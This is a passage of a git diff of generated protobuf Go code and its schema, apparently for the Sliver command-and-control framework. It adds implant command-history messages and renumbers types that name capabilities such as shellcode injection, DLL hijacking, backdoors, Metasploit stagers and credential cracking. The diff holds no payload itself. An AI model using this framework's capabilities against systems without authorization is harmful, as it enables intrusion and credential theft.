file_clientpb_client_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DNSListener); i { + switch v := v.(*WGListenerReq); i { case 0: return &v.state case 1: @@ -11628,7 +11917,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HTTPListenerReq); i { + switch v := v.(*WGListener); i { case 0: return &v.state case 1: @@ -11640,7 +11929,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedPipesReq); i { + switch v := v.(*DNSListenerReq); i { case 0: return &v.state case 1: @@ -11652,7 +11941,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedPipes); i { + switch v := v.(*DNSListener); i { case 0: return &v.state case 1: @@ -11664,7 +11953,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPivotReq); i { + switch v := v.(*HTTPListenerReq); i { case 0: return &v.state case 1: @@ -11676,7 +11965,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TCPPivot); i { + switch v := v.(*NamedPipesReq); i { case 0: return &v.state case 1: @@ -11688,7 +11977,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HTTPListener); i { + switch v := v.(*NamedPipes); i { case 0: return &v.state case 1: @@ -11700,7 +11989,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Sessions); i { + switch v := v.(*TCPPivotReq); i { case 0: return &v.state case 1: @@ -11712,7 +12001,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RenameReq); i { + switch v := v.(*TCPPivot); i { case 0: return &v.state case 1: @@ -11724,7 +12013,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GenerateReq); i { + switch v := v.(*HTTPListener); i { case 0: return &v.state case 1: @@ -11736,7 +12025,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Generate); i { + switch v := v.(*Sessions); i { case 0: return &v.state case 1: @@ -11748,7 +12037,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MSFReq); i { + switch v := v.(*RenameReq); i { case 0: return &v.state case 1: @@ -11760,7 +12049,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MSFRemoteReq); i { + switch v := v.(*GenerateReq); i { case 0: return &v.state case 1: @@ -11772,7 +12061,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StagerListenerReq); i { + switch v := v.(*Generate); i { case 0: return &v.state case 1: @@ -11784,7 +12073,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*StagerListener); i { + switch v := v.(*MSFReq); i { case 0: return &v.state case 1: @@ -11796,7 +12085,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeRDIReq); i { + switch v := v.(*MSFRemoteReq); i { case 0: return &v.state case 1: @@ -11808,7 +12097,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeRDI); i { + switch v := v.(*StagerListenerReq); i { case 0: return &v.state case 1: @@ -11820,7 +12109,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MsfStagerReq); i { + switch v := v.(*StagerListener); i { case 0: return &v.state case 1: @@ -11832,7 +12121,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MsfStager); i { + switch v := v.(*ShellcodeRDIReq); i { case 0: return &v.state case 1: @@ -11844,7 +12133,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*GetSystemReq); i { + switch v := v.(*ShellcodeRDI); i { case 0: return &v.state case 1: @@ -11856,7 +12145,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MigrateReq); i { + switch v := v.(*MsfStagerReq); i { case 0: return &v.state case 1: @@ -11868,7 +12157,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateTunnelReq); i { + switch v := v.(*MsfStager); i { case 0: return &v.state case 1: @@ -11880,7 +12169,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateTunnel); i { + switch v := v.(*GetSystemReq); i { case 0: return &v.state case 1: @@ -11892,7 +12181,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CloseTunnelReq); i { + switch v := v.(*MigrateReq); i { case 0: return &v.state case 1: @@ -11904,7 +12193,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotGraphEntry); i { + switch v := v.(*CreateTunnelReq); i { case 0: return &v.state case 1: @@ -11916,7 +12205,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PivotGraph); i { + switch v := v.(*CreateTunnel); i { case 0: return &v.state case 1: @@ -11928,7 +12217,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Client); i { + switch v := v.(*CloseTunnelReq); i { case 0: return &v.state case 1: @@ -11940,7 +12229,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Event); i { + switch v := v.(*PivotGraphEntry); i { case 0: return &v.state case 1: @@ -11952,7 +12241,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Operator); i { + switch v := v.(*PivotGraph); i { case 0: return &v.state case 1: @@ -11964,7 +12253,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebContent); i { + switch v := v.(*Client); i { case 0: return &v.state case 1: @@ -11976,7 +12265,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebsiteAddContent); i { + switch v := v.(*Event); i { case 0: return &v.state case 1: @@ -11988,7 +12277,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WebsiteRemoveContent); i { + switch v := v.(*Operator); i { case 0: return &v.state case 1: @@ -12000,7 +12289,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Website); i { + switch v := v.(*WebContent); i { case 0: return &v.state case 1: @@ -12012,7 +12301,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Websites); i { + switch v := v.(*WebsiteAddContent); i { case 0: return &v.state case 1: @@ -12024,7 +12313,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*WGClientConfig); i { + switch v := v.(*WebsiteRemoveContent); i { case 0: return &v.state case 1: @@ -12036,7 +12325,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Loot); i { + switch v := v.(*Website); i { case 0: return &v.state case 1: @@ -12048,7 +12337,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AllLoot); i { + switch v := v.(*Websites); i { case 0: return &v.state case 1: @@ -12060,7 +12349,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IOC); i { + switch v := v.(*WGClientConfig); i { case 0: return &v.state case 1: @@ -12072,7 +12361,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExtensionData); i { + switch v := v.(*Loot); i { case 0: return &v.state case 1: @@ -12084,7 +12373,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Host); i { + switch v := v.(*AllLoot); i { case 0: return &v.state case 1: @@ -12096,7 +12385,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AllHosts); i { + switch v := v.(*IOC); i { case 0: return &v.state case 1: @@ -12108,7 +12397,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DllHijackReq); i { + switch v := v.(*ExtensionData); i { case 0: return &v.state case 1: @@ -12120,7 +12409,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DllHijack); i { + switch v := v.(*Host); i { case 0: return &v.state case 1: @@ -12132,7 +12421,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*BackdoorReq); i { + switch v := v.(*AllHosts); i { case 0: return &v.state case 1: @@ -12144,7 +12433,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Backdoor); i { + switch v := v.(*DllHijackReq); i { case 0: return &v.state case 1: @@ -12156,7 +12445,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncodeReq); i { + switch v := v.(*DllHijack); i { case 0: return &v.state case 1: @@ -12168,7 +12457,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncode); i { + switch v := v.(*BackdoorReq); i { case 0: return &v.state case 1: @@ -12180,7 +12469,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ShellcodeEncoderMap); i { + switch v := v.(*Backdoor); i { case 0: return &v.state case 1: @@ -12192,7 +12481,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExternalGenerateReq); i { + switch v := v.(*ShellcodeEncodeReq); i { case 0: return &v.state case 1: @@ -12204,7 +12493,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Builders); i { + switch v := v.(*ShellcodeEncode); i { case 0: return &v.state case 1: @@ -12216,7 +12505,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Builder); i { + switch v := v.(*ShellcodeEncoderMap); i { case 0: return &v.state case 1: @@ -12228,7 +12517,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credential); i { + switch v := v.(*ExternalGenerateReq); i { case 0: return &v.state case 1: @@ -12240,7 +12529,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Credentials); i { + switch v := v.(*Builders); i { case 0: return &v.state case 1: @@ -12252,7 +12541,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Crackstations); i { + switch v := v.(*Builder); i { case 0: return &v.state case 1: @@ -12264,7 +12553,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackstationStatus); i { + switch v := v.(*Credential); i { case 0: return &v.state case 1: @@ -12276,7 +12565,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackSyncStatus); i { + switch v := v.(*Credentials); i { case 0: return &v.state case 1: @@ -12288,7 +12577,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackBenchmark); i { + switch v := v.(*Crackstations); i { case 0: return &v.state case 1: @@ -12300,7 +12589,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackTask); i { + switch v := v.(*CrackstationStatus); i { case 0: return &v.state case 1: @@ -12312,7 +12601,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Crackstation); i { + switch v := v.(*CrackSyncStatus); i { case 0: return &v.state case 1: @@ -12324,7 +12613,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CUDABackendInfo); i { + switch v := v.(*CrackBenchmark); i { case 0: return &v.state case 1: @@ -12336,7 +12625,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*OpenCLBackendInfo); i { + switch v := v.(*CrackTask); i { case 0: return &v.state case 1: @@ -12348,7 +12637,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*MetalBackendInfo); i { + switch v := v.(*Crackstation); i { case 0: return &v.state case 1: @@ -12360,7 +12649,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackCommand); i { + switch v := v.(*CUDABackendInfo); i { case 0: return &v.state case 1: @@ -12372,7 +12661,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackConfig); i { + switch v := v.(*OpenCLBackendInfo); i { case 0: return &v.state case 1: @@ -12384,7 +12673,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackFiles); i { + switch v := v.(*MetalBackendInfo); i { case 0: return &v.state case 1: @@ -12396,7 +12685,7 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CrackFile); i { + switch v := v.(*CrackCommand); i { case 0: return &v.state case 1: @@ -12408,6 +12697,42 @@ func file_clientpb_client_proto_init() { } } file_clientpb_client_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackConfig); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackFiles); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CrackFile); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_clientpb_client_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CrackFileChunk); i { case 0: return &v.state @@ -12426,7 +12751,7 @@ func file_clientpb_client_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_clientpb_client_proto_rawDesc, NumEnums: 12, - NumMessages: 111, + NumMessages: 114, NumExtensions: 0, NumServices: 0, }, diff --git a/protobuf/clientpb/client.proto b/protobuf/clientpb/client.proto index ec42e85758..18b3021899 100644 --- a/protobuf/clientpb/client.proto +++ b/protobuf/clientpb/client.proto @@ -25,6 +25,37 @@ message ClientLogData { bytes Data = 2; } +// [ History commands ] ---------------------------------------- + +message ImplantCommand { + string Stream = 1; + string User = 2; + string ImplantID = 3; + string ImplantName = 4; + int64 ExecutedAt = 5; + string Block = 6; + + commonpb.Request Request = 9; +} + +message HistoryRequest { + bool UserOnly = 1; + int32 MaxLines = 2; + string ImplantID = 3; + string ImplantName = 4; + + commonpb.Request Request = 9; +} + +// History - Command history content. +message History { + int32 HistoryLen = 2; + bool UserOnly = 3; + repeated ImplantCommand Commands = 4; + + commonpb.Response Response = 9; +} + // [ Core ] ---------------------------------------- message Session { diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index 9f77e54f9d..512be4c7a8 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0xe6, 0x4d, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0xe7, 0x4e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, @@ -48,616 +48,624 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x0a, 0x47, - 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, - 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, - 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, - 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, - 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, - 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, - 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, 0x0c, - 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, - 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x32, - 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, 0x1a, - 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, - 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, - 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0f, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x43, 0x0a, 0x10, - 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 